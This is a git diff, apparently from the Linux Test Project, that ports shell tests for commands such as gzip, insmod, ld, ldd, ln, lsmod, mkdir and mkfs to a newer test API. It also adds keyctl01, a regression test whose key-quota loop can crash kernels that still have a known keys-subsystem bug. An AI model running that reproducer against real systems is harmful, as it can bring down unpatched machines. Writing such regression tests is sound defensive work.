-	if [ $? -ne 0 ]
-	then
+	if [ $? -ne 0 ]; then
 		cat tst_gzip.err
-		tst_resm TFAIL "Test #1: gzip failed"
+		tst_res TFAIL "Test #1: gzip failed"
 	else
-		tst_resm TINFO "Test #1: expected same as actual"
-		tst_resm TPASS "Test #1: gzip -r success"
+		tst_res TPASS "Test #1: gzip -r success"
 	fi
+
+	ROD_SILENT rm -rf tst_gzip.tmp/
 }
 
-test02()
+test2()
 {
 	numdirs=10
 	numfiles=10
 	dircnt=0
 	fcnt=0
 
-	tst_resm TINFO "Test #2: gunzip -r will recursively uncompress" \
+	ROD_SILENT mkdir tst_gzip.tmp
+
+	tst_res TINFO "Test #2: gunzip -r will recursively uncompress" \
 			"contents of directory"
 
 	creat_dirnfiles 2 $numdirs $numfiles tst_gzip.tmp
 
 	gzip -r tst_gzip.tmp > tst_gzip.err 2>&1
-	if [ $? -ne 0 ]
-	then
+	if [ $? -ne 0 ]; then
 		cat tst_gzip.err
-		tst_brkm TBROK "Test #2: compressing directory tst_gzip.tmp" \
+		tst_brk TBROK "Test #2: compressing directory tst_gzip.tmp" \
 				"failed"
 	fi
 
 	gunzip -r tst_gzip.tmp > tst_gzip.err 2>&1
-	if [ $? -ne 0 ]
-	then
+	if [ $? -ne 0 ]; then
 		cat tst_gzip.err
-		tst_brkm TBROK "Test #2: uncompressing directory" \
+		tst_brk TBROK "Test #2: uncompressing directory" \
 				" tst_gzip.tmp failed"
-		return $RC
 	fi
 
-	tst_resm TINFO "Test #2: creating output file"
+	tst_res TINFO "Test #2: creating output file"
 	ls -R tst_gzip.tmp > tst_gzip.out 2>&1
 
-	tst_resm TINFO "Test #2: creating expected output file"
+	tst_res TINFO "Test #2: creating expected output file"
 	creat_expout $numdirs $numfiles tst_gzip.tmp
 
-	tst_resm TINFO "Test #2: comparing expected out and actual output file"
+	tst_res TINFO "Test #2: comparing expected out and actual output file"
 	diff -w -B tst_gzip.out tst_gzip.exp > tst_gzip.err 2>&1
-	if [ $? -ne 0 ]
-	then
+	if [ $? -ne 0 ]; then
 		cat tst_gzip.err
-		tst_resm TFAIL "Test #2: gunzip failed"
+		tst_res TFAIL "Test #2: gunzip failed"
 	else
-		tst_resm TINFO "Test #2: expected same as actual"
-		tst_resm TPASS "Test #2: gunzip -r success"
+		tst_res TPASS "Test #2: gunzip -r success"
 	fi
+
+	ROD_SILENT rm -rf tst_gzip.tmp/
 }
 
-setup
-TST_CLEANUP=cleanup
-
-test01
-cleanup_test
-
-test02
-
-tst_exit
+tst_run
diff --git a/testcases/commands/insmod/insmod01.sh b/testcases/commands/insmod/insmod01.sh
index f19c068..532f802 100755
--- a/testcases/commands/insmod/insmod01.sh
+++ b/testcases/commands/insmod/insmod01.sh
@@ -16,56 +16,46 @@
 # Test the basic functionality of insmod command.
 #
 
-TCID=insmod01
-TST_TOTAL=1
-. test.sh
+TST_ID="insmod01"
+TST_CLEANUP=cleanup
+TST_TESTFUNC=do_test
+TST_NEEDS_ROOT=1
+TST_NEEDS_CMDS="rmmod insmod"
+TST_NEEDS_MODULE="ltp_insmod01.ko"
+. tst_test.sh
 
-setup()
-{
-	tst_require_root
-
-	tst_check_cmds rmmod insmod
-
-	tst_module_exists ltp_insmod01.ko
-
-	inserted=0
-
-	TST_CLEANUP="cleanup"
-}
+inserted=0
 
 cleanup()
 {
 	if [ $inserted -ne 0 ]; then
-		echo "about to rmmod ltp_insmod01"
+		tst_res TINFO "running rmmod ltp_insmod01"
 		rmmod ltp_insmod01
 		if [ $? -ne 0 ]; then
-			echo "failed to rmmod ltp_insmod01"
+			tst_res TWARN "failed to rmmod ltp_insmod01"
 		fi
+		inserted=0
 	fi
 }
 
-insmod_test()
+do_test()
 {
 	insmod "$TST_MODPATH"
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "'insmod' failed."
+		tst_res TFAIL "insmod failed"
 		return
 	fi
 	inserted=1
 
 	grep -q ltp_insmod01 /proc/modules
-
 	if [ $? -ne 0 ]; then
-		tst_resm TINFO "ltp_insmod01 not found in /proc/modules"
-		tst_resm TFAIL "'insmod' failed, not expected."
+		tst_res TFAIL "ltp_insmod01 not found in /proc/modules"
 		return
 	fi
 
-	tst_resm TPASS "'insmod' passed."
+	cleanup
+
+	tst_res TPASS "insmod passed"
 }
 
-setup
-
-insmod_test
-
-tst_exit
+tst_run
diff --git a/testcases/commands/ade/ldd/Makefile b/testcases/commands/keyctl/Makefile
similarity index 69%
copy from testcases/commands/ade/ldd/Makefile
copy to testcases/commands/keyctl/Makefile
index f37f21b..144beed 100644
--- a/testcases/commands/ade/ldd/Makefile
+++ b/testcases/commands/keyctl/Makefile
@@ -1,7 +1,8 @@
 #
-#    commands/ade/ldd testcases Makefile.
+#    commands/keyctl testcases Makefile.
 #
-#    Copyright (C) 2009, Cisco Systems Inc.
+#    Copyright (c) 2017 Fujitsu Ltd.
+#    Author:Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
 #
 #    This program is free software; you can redistribute it and/or modify
 #    it under the terms of the GNU General Public License as published by
@@ -13,13 +14,11 @@
 #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 #    GNU General Public License for more details.
 #
-# Garrett Cooper, July 2009
-#
 
-top_srcdir		?= ../../../..
+top_srcdir		?= ../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
-INSTALL_TARGETS		:= ldd01
+INSTALL_TARGETS		:= keyctl01.sh
 
-include $(top_srcdir)/include/mk/generic_trunk_target.mk
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/keyctl/keyctl01.sh b/testcases/commands/keyctl/keyctl01.sh
new file mode 100644
index 0000000..076a130
--- /dev/null
+++ b/testcases/commands/keyctl/keyctl01.sh
@@ -0,0 +1,89 @@
+#!/bin/sh
+#
+# Copyright (c) 2017 Fujitsu Ltd.
+# Ported: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program, if not, see <http://www.gnu.org/licenses/>.
+#
+# This is a regression test about potential uninitialized variable,
+# the test can crash the buggy kernel, and the bug has been fixed in:
+#
+#   commit 38327424b40bcebe2de92d07312c89360ac9229a
+#   Author: Dan Carpenter <dan.carpenter@oracle.com>
+#   Date:   Thu Jun 16 15:48:57 2016 +0100
+#
+#   KEYS: potential uninitialized variable
+#
+
+TST_ID="keyctl01"
+TST_SETUP=setup
+TST_CLEANUP=cleanup
+TST_TESTFUNC=do_test
+TST_NEEDS_ROOT=1
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_CMDS="keyctl"
+. tst_test.sh
+
+setup()
+{
+	if tst_kvcmp -le 2.6.33; then
+		tst_brk TCONF "Kernel newer than 2.6.33 is needed"
+	fi
+
+	PATH_KEYSTAT="/proc/key-users"
+	PATH_KEYQUOTA="/proc/sys/kernel/keys/root_maxbytes"
+
+	if [ ! -f "$PATH_KEYSTAT" ] || [ ! -f "$PATH_KEYQUOTA" ]; then
+		tst_brk TCONF "'${PATH_KEYSTAT}' or '${PATH_KEYQUOTA}' \
+			does not exist"
+	fi
+
+	ORIG_KEYSZ=`awk -F' +|/' '/ 0:/ {print $8}' $PATH_KEYSTAT`
+	ORIG_MAXKEYSZ=`cat $PATH_KEYQUOTA`
+}
+
+cleanup()
+{
+	if [ -n "$ORIG_MAXKEYSZ" ]; then
+		echo $ORIG_MAXKEYSZ >$PATH_KEYQUOTA
+	fi
+}
+
+do_test()
+{
+	local maxkeysz=$((ORIG_KEYSZ + 100))
+
+	while true
+	do
+		echo $maxkeysz >$PATH_KEYQUOTA
+
+		keyctl request2 user debug:fred negate @t >temp 2>&1
+		grep -q -E "quota exceeded" temp
+		if [ $? -eq 0 ]; then
+			break
+		fi
+
+		local key=`keyctl show | awk '/debug:fred/ {print $1}'`
+		if [ -n "$key" ]; then
+			keyctl unlink $key @s >/dev/null
+			tst_sleep 50ms
+		fi
+
+		((maxkeysz -= 4))
+	done
+
+	tst_res TPASS "Bug not reproduced"
+}
+
+tst_run
diff --git a/testcases/commands/fileutils/Makefile b/testcases/commands/ld/Makefile
similarity index 90%
rename from testcases/commands/fileutils/Makefile
rename to testcases/commands/ld/Makefile
index 65616f7..4b7ca96 100644
--- a/testcases/commands/fileutils/Makefile
+++ b/testcases/commands/ld/Makefile
@@ -1,5 +1,5 @@
 #
-#    commands/fileutils test suite Makefile.
+#    commands/ade/ld testcases Makefile.
 #
 #    Copyright (C) 2009, Cisco Systems Inc.
 #
@@ -17,11 +17,13 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
+INSTALL_TARGETS		:= ld01
+
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/commands/ade/ldd/Makefile b/testcases/commands/ld/datafiles/Makefile
similarity index 74%
copy from testcases/commands/ade/ldd/Makefile
copy to testcases/commands/ld/datafiles/Makefile
index f37f21b..4eb64ad 100644
--- a/testcases/commands/ade/ldd/Makefile
+++ b/testcases/commands/ld/datafiles/Makefile
@@ -1,7 +1,5 @@
 #
-#    commands/ade/ldd testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
+#    Copyright (C) 2016, Linux Test Project.
 #
 #    This program is free software; you can redistribute it and/or modify
 #    it under the terms of the GNU General Public License as published by
@@ -12,14 +10,13 @@
 #    but WITHOUT ANY WARRANTY; without even the implied warranty of
 #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 #    GNU General Public License for more details.
-#
-# Garrett Cooper, July 2009
-#
 
 top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
-INSTALL_TARGETS		:= ldd01
+INSTALL_DIR		:= testcases/data/ld01
+MAKE_TARGETS		:=
+INSTALL_TARGETS		:= *.c
 
-include $(top_srcdir)/include/mk/generic_trunk_target.mk
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/ade/ld/d1.c b/testcases/commands/ld/datafiles/d1.c
similarity index 100%
rename from testcases/commands/ade/ld/d1.c
rename to testcases/commands/ld/datafiles/d1.c
diff --git a/testcases/commands/ade/ld/f1.c b/testcases/commands/ld/datafiles/f1.c
similarity index 100%
rename from testcases/commands/ade/ld/f1.c
rename to testcases/commands/ld/datafiles/f1.c
diff --git a/testcases/commands/ade/ld/ldmain.c b/testcases/commands/ld/datafiles/main.c
similarity index 100%
rename from testcases/commands/ade/ld/ldmain.c
rename to testcases/commands/ld/datafiles/main.c
diff --git a/testcases/commands/ade/ld/rd1.c b/testcases/commands/ld/datafiles/rd1.c
similarity index 100%
rename from testcases/commands/ade/ld/rd1.c
rename to testcases/commands/ld/datafiles/rd1.c
diff --git a/testcases/commands/ade/ld/rf1.c b/testcases/commands/ld/datafiles/rf1.c
similarity index 100%
rename from testcases/commands/ade/ld/rf1.c
rename to testcases/commands/ld/datafiles/rf1.c
diff --git a/testcases/commands/ld/ld01 b/testcases/commands/ld/ld01
new file mode 100755
index 0000000..3ff1d09
--- /dev/null
+++ b/testcases/commands/ld/ld01
@@ -0,0 +1,98 @@
+#!/bin/sh
+#
+# Copyright (c) International Business Machines  Corp., 2000
+#  06/01 Robbie Williamson (robbiew@us.ibm.com)
+# Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
+#
+# This program is free software;  you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY;  without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+# the GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program;  if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+#---------------------------------------------------------------------------
+#
+# Test the basic functionality of the `ld` command.
+#
+
+CC=${CC:=gcc}
+LD=${LD:=ld}
+
+TST_ID="ld01"
+TST_CNT=5
+TST_TESTFUNC=test
+TST_SETUP=setup
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_CMDS="$CC $LD"
+. tst_test.sh
+
+setup()
+{
+	for i in rf1 f1 rd1 d1 main; do
+		ROD $CC -fPIC -c -o ${i}.o $TST_DATAROOT/${i}.c
+	done
+}
+
+test1()
+{
+	EXPECT_FAIL $LD x.o y.o 2\> ld.out
+
+	if grep -q "$LD:.*[xy]\.o.*No such file or directory" ld.out; then
+		tst_res TPASS "Missing files were reported"
+	else
+		tst_res TFAIL "Missing files were not reported"
+		cat ld.out
+	fi
+}
+
+test2()
+{
+	EXPECT_FAIL $CC x.o y.o 2\> cc.out
+
+	if grep -q "$CC:.*[xy]\.o.*No such file or directory" cc.out; then
+		tst_res TPASS "Missing files were reported"
+	else
+		tst_res TFAIL "Missing files were not reported"
+		cat cc.out
+	fi
+}
+
+test3()
+{
+	EXPECT_PASS $LD -shared f1.o d1.o -o test.so
+
+	if file test.so |grep -q shared; then
+		tst_res TPASS "Shared library could be build"
+	else
+		tst_res TFAIL "Failed to build shared library"
+	fi
+}
+
+test4()
+{
+	EXPECT_PASS $LD -Bdynamic -shared f1.o d1.o -o test.so
+	EXPECT_FAIL $LD -Bstatic -L. main.o rd1.o test.so -o a.out
+}
+
+test5()
+{
+	EXPECT_PASS $LD -Bdynamic -shared main.o f1.o rf1.o -o test.so -L/usr/lib/
+	EXPECT_FAIL $LD -Bstatic -r main.o f1.o rf1.o test.so -L/usr/lib/ 2\> ld.out
+	cat ld.out
+
+	if grep -q "$LD: attempted static link of dynamic object" ld.out; then
+		tst_res TPASS "Got expected error message"
+	else
+		tst_res TFAIL "Unexpected error message"
+		cat ld.out
+	fi
+}
+
+tst_run
diff --git a/testcases/commands/ade/ldd/Makefile b/testcases/commands/ldd/Makefile
similarity index 92%
rename from testcases/commands/ade/ldd/Makefile
rename to testcases/commands/ldd/Makefile
index f37f21b..6a6af07 100644
--- a/testcases/commands/ade/ldd/Makefile
+++ b/testcases/commands/ldd/Makefile
@@ -13,10 +13,10 @@
 #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 #    GNU General Public License for more details.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
-top_srcdir		?= ../../../..
+top_srcdir		?= ../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
diff --git a/testcases/commands/ade/ldd/datafiles/Makefile b/testcases/commands/ldd/datafiles/Makefile
similarity index 97%
rename from testcases/commands/ade/ldd/datafiles/Makefile
rename to testcases/commands/ldd/datafiles/Makefile
index 3d91d28..d8bcf5c 100644
--- a/testcases/commands/ade/ldd/datafiles/Makefile
+++ b/testcases/commands/ldd/datafiles/Makefile
@@ -13,7 +13,7 @@
 #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 #    GNU General Public License for more details.
 
-top_srcdir		?= ../../../../..
+top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
diff --git a/testcases/commands/ade/ldd/datafiles/lddfile1.c b/testcases/commands/ldd/datafiles/lddfile1.c
similarity index 100%
rename from testcases/commands/ade/ldd/datafiles/lddfile1.c
rename to testcases/commands/ldd/datafiles/lddfile1.c
diff --git a/testcases/commands/ade/ldd/datafiles/lddfile2.c b/testcases/commands/ldd/datafiles/lddfile2.c
similarity index 100%
rename from testcases/commands/ade/ldd/datafiles/lddfile2.c
rename to testcases/commands/ldd/datafiles/lddfile2.c
diff --git a/testcases/commands/ade/ldd/datafiles/lddfile3.c b/testcases/commands/ldd/datafiles/lddfile3.c
similarity index 100%
rename from testcases/commands/ade/ldd/datafiles/lddfile3.c
rename to testcases/commands/ldd/datafiles/lddfile3.c
diff --git a/testcases/commands/ade/ldd/datafiles/lddfile4.c b/testcases/commands/ldd/datafiles/lddfile4.c
similarity index 100%
rename from testcases/commands/ade/ldd/datafiles/lddfile4.c
rename to testcases/commands/ldd/datafiles/lddfile4.c
diff --git a/testcases/commands/ade/ldd/datafiles/lddfile5.c b/testcases/commands/ldd/datafiles/lddfile5.c
similarity index 100%
rename from testcases/commands/ade/ldd/datafiles/lddfile5.c
rename to testcases/commands/ldd/datafiles/lddfile5.c
diff --git a/testcases/commands/ade/ldd/datafiles/main.c b/testcases/commands/ldd/datafiles/main.c
similarity index 100%
rename from testcases/commands/ade/ldd/datafiles/main.c
rename to testcases/commands/ldd/datafiles/main.c
diff --git a/testcases/commands/ade/ldd/ldd01 b/testcases/commands/ldd/ldd01
similarity index 62%
rename from testcases/commands/ade/ldd/ldd01
rename to testcases/commands/ldd/ldd01
index c0e4d07..ebd7492 100755
--- a/testcases/commands/ade/ldd/ldd01
+++ b/testcases/commands/ldd/ldd01
@@ -25,44 +25,41 @@
 #  HISTORY:
 #    06/01 Robbie Williamson (robbiew@us.ibm.com)
 #     -Ported
-#
-#
 #---------------------------------------------------------------------------
-#Uncomment line below for debug output
-#trace_logic=${trace_logic:-"set -x"}
-$trace_logic
+
+TST_ID=ldd01
+TST_CNT=2
+TST_SETUP=setup
+TST_TESTFUNC=test
+. tst_test.sh
 
 LDD=${LDD:=ldd}
-TCID=ldd01
-TST_TOTAL=1
 
-. test.sh
+setup()
+{
+	export LD_LIBRARY_PATH="$TST_DATAROOT:$LD_LIBRARY_PATH"
+	LDDTESTFILE="$TST_DATAROOT/lddfile.out"
+}
 
-do_test()
+test1()
 {
 
-	export LD_LIBRARY_PATH="$LTP_DATAROOT:$LD_LIBRARY_PATH"
-	LDDTESTFILE="$LTP_DATAROOT/lddfile.out"
-
-	echo "  ASSERTION 1  "
-	$LDD $LDDTESTFILE | grep -E "lddfile1.obj.so|lddfile2.obj.so|lddfile3.obj.so|lddfile4.obj.so|lddfile5.obj.so"
+	$LDD $LDDTESTFILE | grep -q -E "lddfile1.obj.so|lddfile2.obj.so|lddfile3.obj.so|lddfile4.obj.so|lddfile5.obj.so"
 	if [ $? -eq 0 ]; then
-		echo "ASSERTION #1 PASS"
+		tst_res TPASS "Found lddfile*.obj.so"
 	else
-		echo "ASSERTION #1 FAIL"
-		return 1
+		tst_res TFAIL "Haven't found lddfile*.obj.so"
 	fi
-
-	echo " ASSERTION 2  "
-	$LDD -v $LDDTESTFILE | grep -E "GLIBC|lddfile1.obj.so|lddfile2.obj.so|lddfile3.obj.so|lddfile4.obj.so|lddfile5.obj.so"
-	if [ $? -eq 0 ]; then
-		echo "ASSERTION #2 PASS"
-	else
-		echo "ASSERTION #2 FAIL"
-		return 1
-	fi
-
-	echo "TEST PASSES"
-	return 0
 }
-do_test
+
+test2()
+{
+	$LDD -v $LDDTESTFILE | grep -q -E "GLIBC|lddfile1.obj.so|lddfile2.obj.so|lddfile3.obj.so|lddfile4.obj.so|lddfile5.obj.so"
+	if [ $? -eq 0 ]; then
+		tst_res TPASS "Found GLIBC"
+	else
+		tst_res TFAIL "Haven't found GLIBC"
+	fi
+}
+
+tst_run
diff --git a/testcases/commands/fileutils/ln/Makefile b/testcases/commands/ln/Makefile
similarity index 94%
rename from testcases/commands/fileutils/ln/Makefile
rename to testcases/commands/ln/Makefile
index 4637a9c..c32fe5c 100644
--- a/testcases/commands/fileutils/ln/Makefile
+++ b/testcases/commands/ln/Makefile
@@ -17,10 +17,10 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
-top_srcdir		?= ../../../..
+top_srcdir		?= ../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
diff --git a/testcases/commands/ln/ln_tests.sh b/testcases/commands/ln/ln_tests.sh
new file mode 100755
index 0000000..5d9335a
--- /dev/null
+++ b/testcases/commands/ln/ln_tests.sh
@@ -0,0 +1,99 @@
+#!/bin/sh
+################################################################################
+##                                                                            ##
+## Copyright (c) International Business Machines  Corp., 2001                 ##
+##  Author:       Manoj Iyer, manjo@mail.utexas.edu                           ##
+## Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>                          ##
+##                                                                            ##
+## This program is free software;  you can redistribute it and#or modify      ##
+## it under the terms of the GNU General Public License as published by       ##
+## the Free Software Foundation; either version 2 of the License, or          ##
+## (at your option) any later version.                                        ##
+##                                                                            ##
+## This program is distributed in the hope that it will be useful, but        ##
+## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
+## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
+## for more details.                                                          ##
+##                                                                            ##
+## You should have received a copy of the GNU General Public License          ##
+## along with this program;  if not, write to the Free Software Foundation,   ##
+## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
+##                                                                            ##
+################################################################################
+#
+# Basic test for ln
+#
+TST_ID="ln01"
+TST_CNT=6
+TST_TESTFUNC=do_test
+TST_SETUP=setup
+TST_NEEDS_TMPDIR=1
+. tst_test.sh
+
+setup()
+{
+	ROD mkdir -p dir/subdir
+	ROD echo "LTP" > file
+	ROD touch dir/file
+}
+
+check_dir_link()
+{
+	local dname="$1"
+	local lname="$2"
+
+	ROD ls "$lname" > lname.out
+	ROD ls "$dname" > dname.out
+
+	if diff lname.out dname.out; then
+		tst_res TPASS "Directory and link content is equal"
+	else
+		tst_res TFAIL "Directory and link content differs"
+		cat lname.out
+		echo
+		cat dname.out
+	fi
+}
+
+check_file_link()
+{
+	local fname="$1"
+	local lname="$2"
+
+	if diff $fname $lname; then
+		tst_res TPASS "File and link content is equal"
+	else
+		tst_res TFAIL "File and link content differs"
+	fi
+}
+
+ln_test()
+{
+	local args="$1"
+	local src="$2"
+	local link="$3"
+
+	EXPECT_PASS ln $args $src $link
+
+	if [ -f $src ]; then
+		check_file_link $src $link
+	else
+		check_dir_link $src $link
+	fi
+
+	ROD rm $link
+}
+
+do_test()
+{
+	case $1 in
+	1) ln_test ""   "file"      "file_link";;
+	2) ln_test "-s" "file"      "file_link";;
+	3) ln_test "-s" "dir"       "dir_link";;
+	4) ln_test ""   "$PWD/file" "file_link";;
+	5) ln_test "-s" "$PWD/file" "file_link";;
+	6) ln_test "-s" "$PWD/dir"  "dir_link";;
+	esac
+}
+
+tst_run
diff --git a/testcases/commands/logrotate/Makefile b/testcases/commands/logrotate/Makefile
index 2bab1b3..c3a701b 100644
--- a/testcases/commands/logrotate/Makefile
+++ b/testcases/commands/logrotate/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/commands/lsmod/lsmod01.sh b/testcases/commands/lsmod/lsmod01.sh
index 5cf2fee..e31c43d 100755
--- a/testcases/commands/lsmod/lsmod01.sh
+++ b/testcases/commands/lsmod/lsmod01.sh
@@ -15,50 +15,37 @@
 #
 # Test the basic functionality of lsmod command.
 #
-
-TCID=lsmod01
-TST_TOTAL=1
-. test.sh
-
-setup()
-{
-	tst_check_cmds lsmod
-
-	tst_tmpdir
-
-	TST_CLEANUP="cleanup"
-}
-
-cleanup()
-{
-	tst_rmdir
-}
+TST_ID="lsmod01"
+TST_TESTFUNC=lsmod_test
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_CMDS="lsmod"
+. tst_test.sh
 
 lsmod_test()
 {
-	lsmod >temp 2>&1
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "'lsmod' failed."
-		cat temp
+	lsmod_output=$(lsmod | awk '!/Module/{print $1, $2, $3}' | sort)
+	if [ -z "$lsmod_output" ]; then
+		tst_res TFAIL "Failed to parse the output from lsmod"
 		return
 	fi
 
-	awk '!/Module/{print $1, $2, $3}' temp |sort >temp1
-
-	awk '{print $1, $2, $3}' /proc/modules |sort >temp2
-
-	diff temp1 temp2 >temp3
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "lsmod output different from /proc/modules."
-		cat temp3
+	modules_output=$(awk '{print $1, $2, $3}' /proc/modules | sort)
+	if [ -z "$modules_output" ]; then
+		tst_res TFAIL "Failed to parse /proc/modules"
 		return
 	fi
 
-	tst_resm TPASS "'lsmod' passed."
+	if [ "$lsmod_output" != "$modules_output" ]; then
+		tst_res TFAIL "lsmod output different from /proc/modules."
+
+		echo "$lsmod_output" > temp1
+		echo "$modules_output" > temp2
+		diff temp1 temp2
+
+		return
+	fi
+
+	tst_res TPASS "'lsmod' passed."
 }
 
-setup
-
-lsmod_test
-
-tst_exit
+tst_run
diff --git a/testcases/commands/mail/Makefile b/testcases/commands/mail/Makefile
index 4bc6617..650790c 100644
--- a/testcases/commands/mail/Makefile
+++ b/testcases/commands/mail/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/commands/fileutils/mkdir/Makefile b/testcases/commands/mkdir/Makefile
similarity index 94%
rename from testcases/commands/fileutils/mkdir/Makefile
rename to testcases/commands/mkdir/Makefile
index 3738b7c..285a3a2 100644
--- a/testcases/commands/fileutils/mkdir/Makefile
+++ b/testcases/commands/mkdir/Makefile
@@ -17,10 +17,10 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
-top_srcdir		?= ../../../..
+top_srcdir		?= ../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
diff --git a/testcases/commands/mkdir/mkdir_tests.sh b/testcases/commands/mkdir/mkdir_tests.sh
new file mode 100755
index 0000000..a182e24
--- /dev/null
+++ b/testcases/commands/mkdir/mkdir_tests.sh
@@ -0,0 +1,71 @@
+#!/bin/sh
+################################################################################
+##                                                                            ##
+## Copyright (c) International Business Machines  Corp., 2001                 ##
+##  Author:       Manoj Iyer, manjo@mail.utexas.edu                           ##
+##                                                                            ##
+## This program is free software;  you can redistribute it and#or modify      ##
+## it under the terms of the GNU General Public License as published by       ##
+## the Free Software Foundation; either version 2 of the License, or          ##
+## (at your option) any later version.                                        ##
+##                                                                            ##
+## This program is distributed in the hope that it will be useful, but        ##
+## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
+## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
+## for more details.                                                          ##
+##                                                                            ##
+## You should have received a copy of the GNU General Public License          ##
+## along with this program;  if not, write to the Free Software Foundation,   ##
+## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
+##                                                                            ##
+################################################################################
+#
+# Basic mkdir tests
+#
+TST_ID="mkdir01"
+TST_CNT=3
+TST_SETUP=setup
+TST_TESTFUNC=test
+TST_NEEDS_TMPDIR=1
+. tst_test.sh
+
+setup()
+{
+	ROD mkdir "dir"
+	LONG_PATH="some/long/path/of/several/directories"
+}
+
+test1()
+{
+	EXPECT_FAIL mkdir "dir" 2\> mkdir.out
+
+	if grep -q "dir.*File exists" mkdir.out; then
+		tst_res TPASS "Got correct error message"
+	else
+		tst_res TFAIL "Got wrong error message"
+		cat mkdir.out
+	fi
+}
+
+test2()
+{
+	EXPECT_FAIL mkdir "$LONG_PATH" 2\> mkdir.out
+
+	if grep -q "$LONG_PATH.*No such file or directory" mkdir.out; then
+		tst_res TPASS "Got correct error message"
+	else
+		tst_res TFAIL "Got wrong error message"
+		cat mkdir.out
+	fi
+
+	ROD rm -rf "$LONG_PATH"
+}
+
+test3()
+{
+	EXPECT_PASS mkdir -p "$LONG_PATH"
+
+	ROD rm -rf "$LONG_PATH"
+}
+
+tst_run
diff --git a/testcases/commands/mkfs/mkfs01.sh b/testcases/commands/mkfs/mkfs01.sh
index eda9829..72dc1bd 100755
--- a/testcases/commands/mkfs/mkfs01.sh
+++ b/testcases/commands/mkfs/mkfs01.sh
@@ -16,64 +16,58 @@
 # Test mkfs command with some basic options.
 #
 
-TCID=mkfs01
-TST_TOTAL=5
-. test.sh
+TST_ID="mkfs01"
+TST_CNT=5
+TST_SETUP=setup
+TST_TESTFUNC=test
+TST_OPTS="f:"
+TST_USAGE=usage
+TST_PARSE_ARGS=parse_args
+TST_NEEDS_ROOT=1
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_DEVICE=1
+TST_NEEDS_CMDS="blkid df"
+. tst_test.sh
+
+usage()
+{
+	cat << EOF
+usage: $0 [-f <ext2|ext3|ext4|vfat|...>]
+
+OPTIONS
+-f	Specify the type of filesystem to be built.  If not
+	specified, the default filesystem type (currently ext2)
+	is used.
+EOF
+}
+
+parse_args()
+{
+	FS_TYPE="$2"
+}
 
 setup()
 {
-	tst_require_root
-
-	tst_check_cmds blkid df
-
 	if [ -n "$FS_TYPE" ]; then
 		tst_check_cmds mkfs.${FS_TYPE}
 	fi
 
-	tst_tmpdir
-
-	tst_acquire_device
-
